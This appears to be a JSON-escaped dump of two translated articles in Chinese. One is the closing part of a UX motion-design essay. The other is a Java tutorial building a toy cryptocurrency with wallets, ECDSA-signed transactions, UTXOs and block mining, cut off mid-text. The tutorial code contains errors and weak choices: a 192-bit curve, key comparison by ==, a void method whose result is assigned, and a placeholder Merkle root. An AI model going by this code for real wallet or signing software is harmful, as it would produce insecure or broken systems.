Pana](https://dribbble.com/virgilpana))\n\n由于多个对象被组合成“折纸”结构，隐藏的对象仍然可以被称为“存在的”，即使它们在空间上是不可见的。这有效地将用户体验作为一个连续的空间事件：用户导航，创建一个运行环境中的交互模型，还有界面对象本身的时间特性。\n\n**浮动维度** 给界面对象一个空间的起点和消失，使互动模式的更直观且保持高度叙事。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*PhZLxUbjetc5nMgMv90qxg.gif\">\n\n浮动维度的例子 (Credit: [Virgil Pana](https://dribbble.com/virgilpana) )\n\n在上面的例子中，维度是通过使用3D“卡片”实现的。这提供了一个支持可视化设计的强大叙事框架。叙事是延长卡片“翻转”访问额外的内容和交互性。维度是引入新的元素，尽量减少突发性的有力途径。\n\n**对象维度**带来有真正的深度和形式的三维对象。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/600/1*ni2fxsm6pKMYQ6Jc75DzLw.gif\">\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/600/1*yWhLvwAkVNoYaqmfzlxiYQ.gif\">\n\nExamples of Object Dimensionality (Credit: [Issara Willenskomer](https://uxinmotion.net/) , [Creativedash](https://dribbble.com/Creativedash) )\n\n在这里，多个二维层被安排在三维空间，以形成真正的三维对象。他们的维度显示在实时和非实时的过渡时刻。对象维度的作用是用户开发基于非可见空间位置的对象效用的敏锐意识。\n\n#### 原理12：镜头平移与缩放 ####\n\n**在导航界面对象和空间时保留连续性和空间叙述性。**\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*NwAD-XMtBzzY8n8c9NpXqg.gif\">\n\n镜头平移与缩放是电影的概念中的相机和相关物体的运动，而画面本身的大小在画面上平稳地从长镜头变为特写镜头（反之亦然）。\n\n在某些情况下，这是不可能的。比如对象缩放，物体在 3D 空间中朝着摄影机移动，或者是摄影机在 3D 空间中向着物体移动（参见下方参考）。下面的三个例子说明了可能的情况。\n\n![](https://cdn-images-1.medium.com/max/800/1*R9wPWQUu26wjibaTBUstqQ.gif)\n\n这是移动摄像，缩放，或是摄像机的运动吗？\n这种，是将“移动影像”和“变焦”的例子进行了分别处理。但类似的，他们也涉及连续元素和景深变化，满足了 UX 的动效设计原理：他们通过运动支持可用性。\n\n![](https://cdn-images-1.medium.com/max/400/1*I4yZ2k1zeo3qc9qrbn0LDw.gif)\n\n![](https://cdn-images-1.medium.com/max/400/1*XVtnYMrp8LhGJzcsF0Lw7Q.gif)\n\n![](https://cdn-images-1.medium.com/max/400/1*o2ellGNN8CTJbwUoJ0ts8Q.gif)\n\n左边的两个图像是移动摄像，而右边的图像是变焦\n\n**移动摄像** 是一个电影术语，适用于摄像机运动，无论是向或远离对象 (它也适用于水平的“跟踪”运动，但在可用性情景中的相关性较小)。\n\n![](https://cdn-images-1.medium.com/max/800/1*8TYALn5P87i2OuuZfhfELg.gif)\n\nCredit: [Apple](http://www.apple.com/)\n\n在 UX 的空间中，这个动作可以指观众视角的改变，也可以指当对象改变位置时保持静止状态。移动摄像原理通过连续性和叙事，无缝过渡接口对象和目的地支持可用性。移动摄影还可以结合维度原理，从而产生更多更深入的空间体验并传达给用户当前视图的“前面”或“后面”的领域或内容。\n\n**变焦** 是指既没有透视也不是物体在空间上移动的事件，而是指对象本身的缩放（或者我们看它的角度导致图像放大）。这传达给观者，额外的界面对象是“内部”其他对象或场景的感觉。\n\n![](https://cdn-images-1.medium.com/max/800/1*I6-dXGCq9cXjAZGyVOkXrA.gif)\n\nCredit: [Apple](http://www.apple.com/)\n\n它可以无缝转换——实时或是非实时——来支持可用性。这种无缝使用移动摄影和变焦原理在创造空间的心理模型的情况下是很强大的。\n\n如果你已经读到了这里，那么恭喜！这真是个野蛮的宣言。我希望这些加载的 gif 没有让你的浏览器陷入瘫痪。我也真的希望你找到一些对自己有价值的东西，一些对你的互动项目有利的新工具和优势。\n\n希望你了解更多关于如何开始使用运动作为支持可用性的设计工具。\n\n最后再插个广告：如果你想要我就令人激动的动效主题以及可用性在你的会议上发言或者为你的团队组织一个现场讨论的话，请移步[这里](https://uxinmotion.net/workshops-and-speaking/)。如果你想要在你所在城市参加课程，来[这里](https://uxinmotion.net/workshops-and-speaking/#classes)。最后，如果你想要向我咨询你的项目，可以看看[这里](https://uxinmotion.net/consulting/)。添加到我的列表，点击[这里](http://uxinmotion.net/joinnow)。\n\n这份宣言离不开来自亚马逊的 [Kateryna Sitner](https://www.linkedin.com/in/katerynasitner/) 慷慨耐心的贡献和不断的反馈——非常感谢！特别致谢 [Alex Chang](https://www.linkedin.com/in/alexychang/)，他的头脑风暴和坚持给了我莫大的支持，感谢来自微软的 [Bryan Mamaril](http://ficuscreative.com/) 的一双慧眼，感谢 Jeremey Hanson 的笔记编辑整理，感谢疯狂的 UI 动效大师 [Eric Braff](https://www.linkedin.com/in/eric-braff-276504b)，[Artefact](http://artefactgroup.com/) 的 Rob Girling 的多年信任，[Matt Silverman](http://www.swordfish-sf.com/)  在 After Effects 会议上鼓动人心的讲话，良心室友 [Bradley Munkowitz](http://gmunk.com/) 为我带来 UI 设计的灵感，[Pasquale D’Silva](https://medium.com/@pasql)  关于动效的令人吃惊的文章，[Rebecca Ussai Henderson](https://medium.freecodecamp.com/@becca_u)对 UI 在编排方面的精彩论述, [Adrian Zumbrunnen](https://medium.com/@azumbrunnen) 在 UI 编排领域的佳作，[Wayne Greenfield](http://www.seattlekombucha.com/) 还有 [Christian Brodin](http://www.theapartmentinvestor.com/author/christian-brodin/) 不断推动我进步的策划兄弟。还有你们，不断创造灵性 gif 的成千上万的 UI 动画师们。 \n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/creating-your-first-blockchain-with-java-part-2-transactions.md",
    "content": "> * 原文地址：[Jan 20 Creating Your First Blockchain with Java. Part 2 — Transactions](https://medium.com/programmers-blockchain/creating-your-first-blockchain-with-java-part-2-transactions-2cdac335e0ce)\n> * 原文作者：[Kass](https://medium.com/@cryptokass?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/creating-your-first-blockchain-with-java-part-2-transactions.md](https://github.com/xitu/gold-miner/blob/master/TODO/creating-your-first-blockchain-with-java-part-2-transactions.md)\n> * 译者：[IllllllIIl](https://github.com/IllllllIIl)\n> * 校对者：[jaymz1439](https://github.com/jaymz1439)，[NeoyeElf](https://github.com/NeoyeElf)\n\n# 用 Java 创造你的第一个区块链之第二部分 —— 交易\n\n这一系列教程的目的是帮助你们对区块链开发技术有一个大致的蓝图，你可以在这里找到教程的[**第一部分**](https://medium.com/programmers-blockchain/create-simple-blockchain-java-tutorial-from-scratch-6eeed3cb03fa)。\n\n在教程的第二部分我们会：\n\n* **生成一个简单的钱包。**\n* **使用我们的区块链发送带有签名的交易。**\n* **自我陶醉。**\n\n**以上这些最终会造出我们自己的加密货币（类似那样吧）！**\n\n![](https://cdn-images-1.medium.com/max/800/1*7qqSMkUfrrENWkqPUYVYYQ.gif)\n\n不用担心这篇文章只是空谈，怎么说都比上一篇教程有更多干货！文长不看的话，可以直接看源码 [Github](https://github.com/CryptoKass/NoobChain-Tutorial-Part-2/tree/master/src/noobchain)。\n\n***\n\n[上一篇教程](https://medium.com/programmers-blockchain/create-simple-blockchain-java-tutorial-from-scratch-6eeed3cb03fa)我们说到，我们有了一个基本的可验证区块链。但是现在我们的区块链只能存储相当没用的数据信息。今天我们要将这些无用数据替换为交易数据（我们的区块将能够存储多次交易），这样我们便可以创造一个十分简单的加密货币。我们把这种新币叫做：“菜鸟币”（英文原文：noobcoin）。\n\n* 这个教程假设你已经阅读过另一篇[教程](https://medium.com/programmers-blockchain/create-simple-blockchain-java-tutorial-from-scratch-6eeed3cb03fa)。\n* 依赖：你需要导入 [**bounceycastle**](https://www.bouncycastle.org/latest_releases.html)（[**这是一个简单的操作教程**](https://medium.com/@cryptokass/importing-bouncy-castle-into-eclipse-24e0dda55f21)）和 [**GSON**](http://central.maven.org/maven2/com/google/code/gson/gson/2.8.2/gson-2.8.2.jar)。\n\n### 1.准备一个钱包\n\n在加密货币中，货币所有权以交易的方式在区块链中转移，交易参与者持有资金的发送方和接收方的地址。**如果只是钱包的基本形式，钱包可以只存储这些地址信息。然而，大多数钱包在软件层面上也能够生成新的交易。**\n\n![](https://cdn-images-1.medium.com/max/1000/1*ygobWJSoGiJ2uMh-sP0Nig.png)\n\n不用担心关于交易部分的知识，我们很快会解释这些。\n\n让我们创建一个 **Wallet** 类来持有我们的公钥和私钥信息：\n\n```\npackage noobchain;\nimport java.security.*;\n\npublic class Wallet {\n\tpublic PrivateKey privateKey;\n\tpublic PublicKey publicKey;\n}\n```\n\n请确保导入了 java.security.* 包 ！\n\n**这些公钥和私钥是用来干嘛的？**\n\n对于我们的“菜鸟币”来说，公钥就是作为我们的地址。你可以与他人分享公钥以便能收到付款。而我们的私钥是用来对我们的交易进行签名，这样除了私钥的主人就没人可以偷花我们的菜鸟币。 **用户必须保管好自己的私钥！** 我们在交易的过程中也会发送出我们的公钥，公钥也可以用来验证我们的签名是否合法和数据是否被篡改。\n\n![](https://cdn-images-1.medium.com/max/1000/1*5bOYYuEgKPBNknyKeQQxNA.png)\n\n私钥是用来对我们的数据进行签名，防止被篡改。公钥是用来验证这个签名。\n\n我们以一对 **KeyPair** 的形式生成私钥和公钥。我们会采用[椭圆曲线密码学](https://en.wikipedia.org/wiki/Elliptic-curve_cryptography)去生成我们的 **KeyPairs**。 我们在 Wallet 类中添加一个 _generateKeyPair()_ 方法，并且在构造方法中调用它：\n\n```\npackage noobchain;\nimport java.security.*;\n\npublic class Wallet {\n\t\n\tpublic PrivateKey privateKey;\n\tpublic PublicKey publicKey;\n\t\n\tpublic Wallet(){\n\t\tgenerateKeyPair();\t\n\t}\n\t\t\n\tpublic void generateKeyPair() {\n\t\ttry {\n\t\t\tKeyPairGenerator keyGen = KeyPairGenerator.getInstance(\"ECDSA\",\"BC\");\n\t\t\tSecureRandom random = SecureRandom.getInstance(\"SHA1PRNG\");\n\t\t\tECGenParameterSpec ecSpec = new ECGenParameterSpec(\"prime192v1\");\n\t\t\t// 初始化 KeyGenerator 并且生成一对 KeyPair\n\t\t\tkeyGen.initialize(ecSpec, random);   //256 字节大小是可接受的安全等级\n\t        \tKeyPair keyPair = keyGen.generateKeyPair();\n\t        \t// 从 KeyPair中获取公钥和私钥\n\t        \tprivateKey = keyPair.getPrivate();\n\t        \tpublicKey = keyPair.getPublic();\n\t\t}catch(Exception e) {\n\t\t\tthrow new RuntimeException(e);\n\t\t}\n\t}\n\t\n}\n```\n\n关于这个方法你所需要了解的就是它使用了 Java.security.KeyPairGenerator 去生成一个应用椭圆曲线密码学的 KeyPair。这个方法生成公钥和私钥并赋值到对应的公钥私钥对象。它很实用。\n\n既然我们对 Wallet 类有了大致的认识，接下来看一下交易的部分。\n\n### 2. 交易和签名\n\n每一个交易都包含一定大小的数据：\n\n* 资金发送方的公钥（地址）。\n* 资金接受方的公钥（地址）。\n* 要转账的资金数额。\n* 输入，是上一次交易的引用，证明发送方有资金可以发送出去。\n* 输出，是在交易中接收方收到的金额。 （在新交易中这些输出也会被当作是输入）\n* 一个加密的签名，证明地址的所有者是发送这个交易的人并且发送的数据没有被篡改。（例如，阻止第三方更改发送出去的数额）\n\n让我们写一个新的 Transaction 类：\n\n```\nimport java.security.*;\nimport java.util.ArrayList;\n\npublic class Transaction {\n\t\n\tpublic String transactionId; // 这个也是交易的哈希值\n\tpublic PublicKey sender; // 发送方地址/公钥\n\tpublic PublicKey reciepient; // 接受方地址/公钥\n\tpublic float value;\n\tpublic byte[] signature; // 用来防止他人盗用我们钱包里的资金\n\t\n\tpublic ArrayList<TransactionInput> inputs = new ArrayList<TransactionInput>();\n\tpublic ArrayList<TransactionOutput> outputs = new ArrayList<TransactionOutput>();\n\t\n\tprivate static int sequence = 0; // 对已生成交易个数的粗略计算 \n\t\n\t// 构造方法： \n\tpublic Transaction(PublicKey from, PublicKey to, float value,  ArrayList<TransactionInput> inputs) {\n\t\tthis.sender = from;\n\t\tthis.reciepient = to;\n\t\tthis.value = value;\n\t\tthis.inputs = inputs;\n\t}\n\t\n\t// 用来计算交易的哈希值（可作为交易的 id）\n\tprivate String calulateHash() {\n\t\tsequence++; //increase the sequence to avoid 2 identical transactions having the same hash\n\t\treturn StringUtil.applySha256(\n\t\t\t\tStringUtil.getStringFromKey(sender) +\n\t\t\t\tStringUtil.getStringFromKey(reciepient) +\n\t\t\t\tFloat.toString(value) + sequence\n\t\t\t\t);\n\t}\n}\n```\n\n我们应该也写一个空的 **TransactionInput** 类和 **TransactionOutput** 类，我们之后会把它们补上。\n\n我们的交易类也包含了生成/验证签名和验证交易的相关方法。\n\n但等一下。。。\n\n#### 这些签名的目的和工作方式是什么？\n\n**签名**在我们区块链中起到的**两个**很重要的工作就是： 第一，它们允许所有者去花他们的钱，第二，防止他人在新的一个区块被挖出来之前（进入到整个区块链），篡改他们已提交的交易。\n\n> 私钥用来对数据进行签名，公钥用来验证它的合法性。\n\n> **例如：**Bob 想给 Sally 两个菜鸟币，所以他们的钱包客户端生成这个交易并且递交给矿工，使其成为下一个区块的一部分。有一个矿工尝试把这两个币的接受人篡改为 John。然而，很幸运地是，Bob 已经用他的私钥把交易数据签名了，任何人使用 Bob 的公钥就能验证这个交易的数据是否被篡改了（其他人的公钥无法校验此交易）。\n\n（从之前的代码中）我们可以看到我们的签名会包含很多字节的信息，所以我们创建一个生成这些信息的方法。首先我们在 **StringUtil** 类中写几个辅助方法：\n\n```\n//采用 ECDSA 签名并返回结果（以字节形式）\n\t\tpublic static byte[] applyECDSASig(PrivateKey privateKey, String input) {\n\t\tSignature dsa;\n\t\tbyte[] output = new byte[0];\n\t\ttry {\n\t\t\tdsa = Signature.getInstance(\"ECDSA\", \"BC\");\n\t\t\tdsa.initSign(privateKey);\n\t\t\tbyte[] strByte = input.getBytes();\n\t\t\tdsa.update(strByte);\n\t\t\tbyte[] realSig = dsa.sign();\n\t\t\toutput = realSig;\n\t\t} catch (Exception e) {\n\t\t\tthrow new RuntimeException(e);\n\t\t}\n\t\treturn output;\n\t}\n\t\n\t//验证一个字符串签名\n\tpublic static boolean verifyECDSASig(PublicKey publicKey, String data, byte[] signature) {\n\t\ttry {\n\t\t\tSignature ecdsaVerify = Signature.getInstance(\"ECDSA\", \"BC\");\n\t\t\tecdsaVerify.initVerify(publicKey);\n\t\t\tecdsaVerify.update(data.getBytes());\n\t\t\treturn ecdsaVerify.verify(signature);\n\t\t}catch(Exception e) {\n\t\t\tthrow new RuntimeException(e);\n\t\t}\n\t}\n\n\tpublic static String getStringFromKey(Key key) {\n\t\treturn Base64.getEncoder().encodeToString(key.getEncoded());\n\t}\n```\n\n不用过分地去弄懂这些方法具体怎么工作的。你真正要了解的是： applyECDSASig 方法接收发送方的私钥和字符串输入，进行签名并返回一个字节数组。verifyECDSASig 方法接收签名，公钥和字符串，根据签名的有效性返回 true 或 false。getStringFromKey 方法就是接受任何一种私钥，返回一个加密的字符串。\n\n现在我们在 **Transaction** 类中使用这些签名相关的方法，添加 **generateSignature()** 和 **verifiySignature()** 方法。\n\n```\n//对所有我们不想被篡改的数据进行签名\npublic void generateSignature(PrivateKey privateKey) {\n\tString data = StringUtil.getStringFromKey(sender) + StringUtil.getStringFromKey(reciepient) + Float.toString(value)\t;\n\tsignature = StringUtil.applyECDSASig(privateKey,data);\t\t\n}\n//验证我们已签名的数据\npublic boolean verifiySignature() {\n\tString data = StringUtil.getStringFromKey(sender) + StringUtil.getStringFromKey(reciepient) + Float.toString(value)\t;\n\treturn StringUtil.verifyECDSASig(sender, data, signature);\n}\n```\n\n实际上，你可能想对更多信息加入签名，像输出/输入或是时间戳（但现在我们只想对最基本的信息进行签名）。\n\n签名可以由矿工进行验证，就像一个新交易被验证后添加到一个区块中。\n\n![](https://cdn-images-1.medium.com/max/800/1*hWYSlaQWuak3Wya_81gy2w.gif)\n\n当检查区块链的合法性的时候，我们同样也可以检查签名。\n\n### 3.测试钱包和签名：\n\n现在我们快完成一半的工作量了，去测试一下吧。在 **NoobChain** 类中，添加一些新变量并替换掉 **main** 方法中的相应内容：\n\n```\nimport java.security.Security;\nimport java.util.ArrayList;\nimport java.util.Base64;\nimport com.google.gson.GsonBuilder;\n\npublic class NoobChain {\n\t\n\tpublic static ArrayList<Block> blockchain = new ArrayList<Block>();\n\tpublic static int difficulty = 5;\n\tpublic static Wallet walletA;\n\tpublic static Wallet walletB;\n\n\tpublic static void main(String[] args) {\t\n\t\t//设置 Bouncey castle 作为 Security Provider\n\t\tSecurity.addProvider(new org.bouncycastle.jce.provider.BouncyCastleProvider()); \n\t\t//创建新的钱包 \n\t\twalletA = new Wallet();\n\t\twalletB = new Wallet();\n\t\t//测试公钥和私钥\n\t\tSystem.out.println(\"Private and public keys:\");\n\t\tSystem.out.println(StringUtil.getStringFromKey(walletA.privateKey));\n\t\tSystem.out.println(StringUtil.getStringFromKey(walletA.publicKey));\n\t\t//生成从 WalletA 到 walletB 的测试交易 \n\t\tTransaction transaction = new Transaction(walletA.publicKey, walletB.publicKey, 5, null);\n\t\ttransaction.signature = transaction.generateSignature(walletA.privateKey);\n\t\t//验证签名是否起作用并结合公钥验证\n\t\tSystem.out.println(\"Is signature verified\");\n\t\tSystem.out.println(transaction.verifiySignature());\n\t\t\n\t}\n```\n\n请务必记得把 boncey castle 添加为 security provider。\n\n我们创建了两个钱包，walletA 和 walletB，然后打印出 walletA 的私钥和公钥。生成了一个 Transaction 并使用 walletA 的公钥对其签名。然后就是希望一切能正常工作吧。\n\n你的输出应该像这样子：\n\n![](https://cdn-images-1.medium.com/max/800/1*60pXu88f-WyPbFYWIXU8iQ.png)\n签名按照预想应该被验证为 true。\n\n应该小小地表扬下自己了。现在我们只需创建/验证输出和输入，然后把交易存储在区块链中。\n\n### 4. 输入和输出 1：自己是怎么持有加密货币的\n\n如果你想拥有一个比特币，那你要先收到一个比特币。交易账单不会真的把一个比特币加给你，也不会从发送方那里减去一个比特币。发送方有标识证明他/她之前收到过一个比特币，然后交易输出就会生成，显示一个比特币已经发送到你的地址（交易中的输入来源于之前交易的输出）。\n\n> 你的钱包余额是你所有的未花费的交易输出。\n\n在这点上我们会跟比特币的叫法一样，把未花费的交易输出称为：**UTXO**。\n\n我们再写一个 **TransactionInput** 类：\n\n```\npublic class TransactionInput {\n\tpublic String transactionOutputId; //把 TransactionOutputs 标识为对应的transactionId\n\tpublic TransactionOutput UTXO; //包括了所有未花费的交易输出\n\t\n\tpublic TransactionInput(String transactionOutputId) {\n\t\tthis.transactionOutputId = transactionOutputId;\n\t}\n}\n```\n\n这个类会被用作未花费的 TransactionOutputs 的引用。transactionOutputId 被用来查找相关的 TransactionOutput，允许矿工检查你的所有权。\n\n还有 **TransactionOutputs** 类：\n\n```\nimport java.security.PublicKey;\n\npublic class TransactionOutput {\n\tpublic String id;\n\tpublic PublicKey reciepient; //这些币的新持有者\n\tpublic float value; //他们持有币的总额\n\tpublic String parentTransactionId; //生成这个输出的之前交易的 id\n\t\n\t//构造方法\n\tpublic TransactionOutput(PublicKey reciepient, float value, String parentTransactionId) {\n\t\tthis.reciepient = reciepient;\n\t\tthis.value = value;\n\t\tthis.parentTransactionId = parentTransactionId;\n\t\tthis.id = StringUtil.applySha256(StringUtil.getStringFromKey(reciepient)+Float.toString(value)+parentTransactionId);\n\t}\n\t\n\t//检查币是否属于你\n\tpublic boolean isMine(PublicKey publicKey) {\n\t\treturn (publicKey == reciepient);\n\t}\n\t\n}\n```\n\n交易输出会显示最终发送给各接收方的金额。这些输出，在新交易中会被当作输入，作为你有资金可以发送出去的凭据。\n\n![](https://cdn-images-1.medium.com/max/800/1*wylnsMFHeHKd0SNqZgyiYg.gif)\n\n### 5. 输入和输出 2：处理交易\n\n区块可能收到很多交易并且区块链长度可能会很长，这样会花非常长时间去处理一个新的交易，因为需要去查找和检查它的输入。为了处理这个问题，我们要再写一个可用作输出的未花费交易集合。在 **NoobChain** 类中，加入 **_UTXOs_** 集合：\n\n```\npublic class NoobChain {\n\t\n\tpublic static ArrayList<Block> blockchain = new ArrayList<Block>();\n\tpublic static HashMap<String,TransactionOutputs> UTXOs = new HashMap<String,TransactionOutputs>(); //未花费交易的 list \n\tpublic static int difficulty = 5;\n\tpublic static Wallet walletA;\n\tpublic static Wallet walletB;\n\n\tpublic static void main(String[] args) {\n```\n\nHashMaps 通过 key 去找到 value，但你需要引入 java.util.HashMap。\n\n好，接下来就是重点了。\n\n把处理交易的方法 processTransaction 放到 **Transaction** 类里面：\n\n```\n//如果新交易可以生成，返回 true\t\npublic boolean processTransaction() {\n\t\t\n\t\tif(verifiySignature() == false) {\n\t\t\tSystem.out.println(\"#Transaction Signature failed to verify\");\n\t\t\treturn false;\n\t\t}\n\t\t\t\t\n\t\t//整合所有交易输入（确保是未花费的）\n\t\tfor(TransactionInput i : inputs) {\n\t\t\ti.UTXO = NoobChain.UTXOs.get(i.transactionOutputId);\n\t\t}\n\n\t\t//检查交易是否合法\n\t\tif(getInputsValue() < NoobChain.minimumTransaction) {\n\t\t\tSystem.out.println(\"#Transaction Inputs to small: \" + getInputsValue());\n\t\t\treturn false;\n\t\t}\n\t\t\n\t\t//生成交易输出\n\t\tfloat leftOver = getInputsValue() - value; //获取剩余的零钱\n\t\ttransactionId = calulateHash();\n\t\toutputs.add(new TransactionOutput( this.reciepient, value,transactionId)); //send value to recipient\n\t\toutputs.add(new TransactionOutput( this.sender, leftOver,transactionId)); //把剩下的“零钱“发回给发送方\t\t\n\t\t\t\t\n\t\t//添加输出到未花费的 list 中\n\t\tfor(TransactionOutput o : outputs) {\n\t\t\tNoobChain.UTXOs.put(o.id , o);\n\t\t}\n\t\t\n\t\t//从 UTXO list里面移除已花费的交易输出\n\t\tfor(TransactionInput i : inputs) {\n\t\t\tif(i.UTXO == null) continue; //if Transaction can't be found skip it \n\t\t\tNoobChain.UTXOs.remove(i.UTXO.id);\n\t\t}\n\t\t\n\t\treturn true;\n\t}\n\t\n//返回输入(UTXOs) 值的总额\n\tpublic float getInputsValue() {\n\t\tfloat total = 0;\n\t\tfor(TransactionInput i : inputs) {\n\t\t\tif(i.UTXO == null) continue; //if Transaction can't be found skip it \n\t\t\ttotal += i.UTXO.value;\n\t\t}\n\t\treturn total;\n\t}\n\n//返回输出总额\n\tpublic float getOutputsValue() {\n\t\tfloat total = 0;\n\t\tfor(TransactionOutput o : outputs) {\n\t\t\ttotal += o.value;\n\t\t}\n\t\treturn total;\n\t}\n```\n\n同样再添加一个 getInputsValue 方法。\n\n通过这个方法进行一些检查，去验证交易合法性，然后整合输入并生成输出（看看代码里的注释会清楚点）。\n\n重要的一点，在最后，我们把 Inputs 从 _UTXO_ list里面移除了，说明一个**交易输出**作为一个输入只能使用一次。因此，输入的总数值必须都花出去，这样发送方才有剩余“零钱”可拿回来。\n\n![](https://cdn-images-1.medium.com/max/1000/1*4wZbhhT98hIyt4jtLdePgQ.png)\n\n红色箭头是输出。注意绿色的输入来自之前的输出。\n\n最后更新我们的钱包：\n\n* 收集我们的余额（通过循环 UTXO list并检查一个交易输出是否是自己的钱币）\n* 为我们生成交易\n\n```\nimport java.security.*;\nimport java.security.spec.ECGenParameterSpec;\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.Map;\n\npublic class Wallet {\n\t\n\tpublic PrivateKey privateKey;\n\tpublic PublicKey publicKey;\n\t\n\tpublic HashMap<String,TransactionOutput> UTXOs = new HashMap<String,TransactionOutput>(); //只是这个钱包拥有的 UTXO \n\t\n\tpublic Wallet() {...\n\t\t\n\tpublic void generateKeyPair() {...\n\t\n  //返回余额并存储这个钱包的 UTXO \n\tpublic float getBalance() {\n\t\tfloat total = 0;\t\n        for (Map.Entry<String, TransactionOutput> item: NoobChain.UTXOs.entrySet()){\n        \tTransactionOutput UTXO = item.getValue();\n            if(UTXO.isMine(publicKey)) { //if output belongs to me ( if coins belong to me )\n            \tUTXOs.put(UTXO.id,UTXO); //add it to our list of unspent transactions.\n            \ttotal += UTXO.value ; \n            }\n        }  \n\t\treturn total;\n\t}\n\t//从这个钱包生成并返回一个新的交易\n\tpublic Transaction sendFunds(PublicKey _recipient,float value ) {\n\t\tif(getBalance() < value) { //gather balance and check funds.\n\t\t\tSystem.out.println(\"#Not Enough funds to send transaction. Transaction Discarded.\");\n\t\t\treturn null;\n\t\t}\n    //生成输入的 ArrayList\n\t\tArrayList<TransactionInput> inputs = new ArrayList<TransactionInput>();\n    \n\t\tfloat total = 0;\n\t\tfor (Map.Entry<String, TransactionOutput> item: UTXOs.entrySet()){\n\t\t\tTransactionOutput UTXO = item.getValue();\n\t\t\ttotal += UTXO.value;\n\t\t\tinputs.add(new TransactionInput(UTXO.id));\n\t\t\tif(total > value) break;\n\t\t}\n\t\t\n\t\tTransaction newTransaction = new Transaction(publicKey, _recipient , value, inputs);\n\t\tnewTransaction.generateSignature(privateKey);\n\t\t\n\t\tfor(TransactionInput input: inputs){\n\t\t\tUTXOs.remove(input.transactionOutputId);\n\t\t}\n\t\treturn newTransaction;\n\t}\n\t\n}\n```\n\n自己想的话可以再给钱包添加其它的功能，例如记录交易历史。\n\n#### 6. 添加交易到我们的区块：\n\n现在我们有一个运作的交易系统，需要把它整合到区块链中。我们应该用交易的 ArrayList 替换掉之前在区块中占位的无用数据。然而，在一个区块中就可能有 1000 个交易，多到我们的哈希计算无法承受。但是不怕，我们可以使用交易的 merkle root 进行处理（你很快就会读到关于 merkle tree 的东西）。\n\n在 StringUtils 添加一个方法去生成 merkleroot：\n\n```\n//Tacks in array of transactions and returns a merkle root.\npublic static String getMerkleRoot(ArrayList<Transaction> transactions) {\n\t\tint count = transactions.size();\n\t\tArrayList<String> previousTreeLayer = new ArrayList<String>();\n\t\tfor(Transaction transaction : transactions) {\n\t\t\tpreviousTreeLayer.add(transaction.transactionId);\n\t\t}\n\t\tArrayList<String> treeLayer = previousTreeLayer;\n\t\twhile(count > 1) {\n\t\t\ttreeLayer = new ArrayList<String>();\n\t\t\tfor(int i=1; i < previousTreeLayer.size(); i++) {\n\t\t\t\ttreeLayer.add(applySha256(previousTreeLayer.get(i-1) + previousTreeLayer.get(i)));\n\t\t\t}\n\t\t\tcount = treeLayer.size();\n\t\t\tpreviousTreeLayer = treeLayer;\n\t\t}\n\t\tString merkleRoot = (treeLayer.size() == 1) ? treeLayer.get(0) : \"\";\n\t\treturn merkleRoot;\n\t}\n```\n\n*我会很快用一个能返回真正 merkleroot 的方法替换掉当前方法，但这个方法先暂时顶替下。\n\n现在来完成 **Block** 类中需要修改的地方：\n\n```\nimport java.util.ArrayList;\nimport java.util.Date;\n\npublic class Block {\n\t\n\tpublic String hash;\n\tpublic String previousHash; \n\tpublic String merkleRoot;\n\tpublic ArrayList<Transaction> transactions = new ArrayList<Transaction>(); //我们的数据就是一个简单的信息\n\tpublic long timeStamp; //从1970/1/1到现在经过的毫秒时间\n\tpublic int nonce;\n\t\n\t//构造方法  \n\tpublic Block(String previousHash ) {\n\t\tthis.previousHash = previousHash;\n\t\tthis.timeStamp = new Date().getTime();\n\t\t\n\t\tthis.hash = calculateHash(); //确保设置了其它值之后再计算哈希值\n\t}\n\t\n\t//基于区块内容计算新的哈希值\n\tpublic String calculateHash() {\n\t\tString calculatedhash = StringUtil.applySha256( \n\t\t\t\tpreviousHash +\n\t\t\t\tLong.toString(timeStamp) +\n\t\t\t\tInteger.toString(nonce) + \n\t\t\t\tmerkleRoot\n\t\t\t\t);\n\t\treturn calculatedhash;\n\t}\n\t\n\t//哈希目标达成的话，增加 nonce 值\n\tpublic void mineBlock(int difficulty) {\n\t\tmerkleRoot = StringUtil.getMerkleRoot(transactions);\n\t\tString target = StringUtil.getDificultyString(difficulty); //Create a string with difficulty * \"0\" \n\t\twhile(!hash.substring( 0, difficulty).equals(target)) {\n\t\t\tnonce ++;\n\t\t\thash = calculateHash();\n\t\t}\n\t\tSystem.out.println(\"Block Mined!!! : \" + hash);\n\t}\n\t\n\t//添加交易到区块\n\tpublic boolean addTransaction(Transaction transaction) {\n\t\t//process transaction and check if valid, unless block is genesis block then ignore.\n\t\tif(transaction == null) return false;\t\t\n\t\tif((previousHash != \"0\")) {\n\t\t\tif((transaction.processTransaction() != true)) {\n\t\t\t\tSystem.out.println(\"Transaction failed to process. Discarded.\");\n\t\t\t\treturn false;\n\t\t\t}\n\t\t}\n\t\ttransactions.add(transaction);\n\t\tSystem.out.println(\"Transaction Successfully added to Block\");\n\t\treturn true;\n\t}\n\t\n}\n```\n\n我们也更新了 Block 的构造方法，因为我们不用再传入字符串，还有在计算哈希值方法中也加入了 merkle root 部分。\n\naddTransaction 方法会添加交易而且只在交易成功添加时返回 true。\n\n> 